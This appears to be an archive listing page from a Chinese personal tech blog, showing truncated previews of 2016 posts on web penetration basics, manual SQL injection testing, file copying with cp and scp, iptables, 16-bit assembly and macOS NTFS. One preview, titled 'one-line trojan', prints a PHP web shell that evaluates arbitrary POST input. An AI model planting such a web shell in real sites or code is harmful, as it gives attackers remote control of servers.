web渗透之前端基础
exchen 9年前 (2016-09-24) 5361浏览
W3C http://www.w3.org 万维网联盟，制定了很多标准，比如html, XML, JavaScript, CSS等等 1. 获取HTML内容中的隐私数据 <html> <...
2016年09月的内容
SQL手工注入测试
exchen 9年前 (2016-09-24) 5491浏览
login.html <html> <head><title>请登录</title></head> <body> <di...
cp命令复制目录 不覆盖
exchen 9年前 (2016-09-17) 5097浏览
cp -Rf src dst //强制复制目录,覆盖 awk 'BEGIN { cmd="cp -ri src dst"; print "n" |cmd; }' //复制目录, 不覆盖, 相当于断点续传, 哈哈 注：src为原文件夹，d...
一句话木马
exchen 9年前 (2016-09-16) 5350浏览
PHP: <?php @eval($_POST['pass']);?> 1 <?php @eval($_POST['...
iptables的配置实例
exchen 9年前 (2016-09-14) 5162浏览
CentOS6 iptables 配置文件在 /etc/sysconfig/iptables # Generated by iptables-save v1.4.7 on Thu Oct 5 16:53:44 2017 *filter :INPUT...
SCP传输文件和断点续传
exchen 9年前 (2016-09-10) 6368浏览
1.上传文件 scp /tmp/test.tar root@192.168.1.190:/home/test.tar 2.下载文件 scp root@192.168.1.190:/home/test.tar /tmp/test.tar 3.上传整个目...
16位汇编 int 10h和int 21h 显示字符串实例
exchen 9年前 (2016-09-03) 6080浏览
int 10h 的9号功能是显示字符串 assume cs:code code segment start: mov ah,2 ;置光标 ...
16位汇编 Hook int 0实例
exchen 9年前 (2016-09-03) 5411浏览
div除法溢出之后, 会调用中断0, 显示Divide overflow, 我们修改中断向量表里对应的0号中断的处理地址, 将我们的代码执行起来, 达到hook的目的。 assume cs:code co...
16位汇编 call调用函数 通过栈来传递参数
exchen 9年前 (2016-09-02) 5103浏览
assume cs:code, ds:data data segment dw 0 data ends code segment ...
16位汇编 cmp jne实现判断和循环
exchen 9年前 (2016-09-02) 6386浏览
je ZF=0则跳转 jne ZF=1则跳转 assume cs:code, ds:data data segment db 'Hello,test' data ...
MacOS开启系统自带的NTFS读写功能
exchen 9年前 (2016-09-01) 3878浏览
据说在很早之前10.5版本，ＯSX是支持直接写入NTFS移动硬盘，后来的版本就把这个功能给隐藏起来了 我们可以通过命令打开 ls /Volumes/ //查看移动硬盘的格式 sudo nano /etc/fstab 添加这句 L...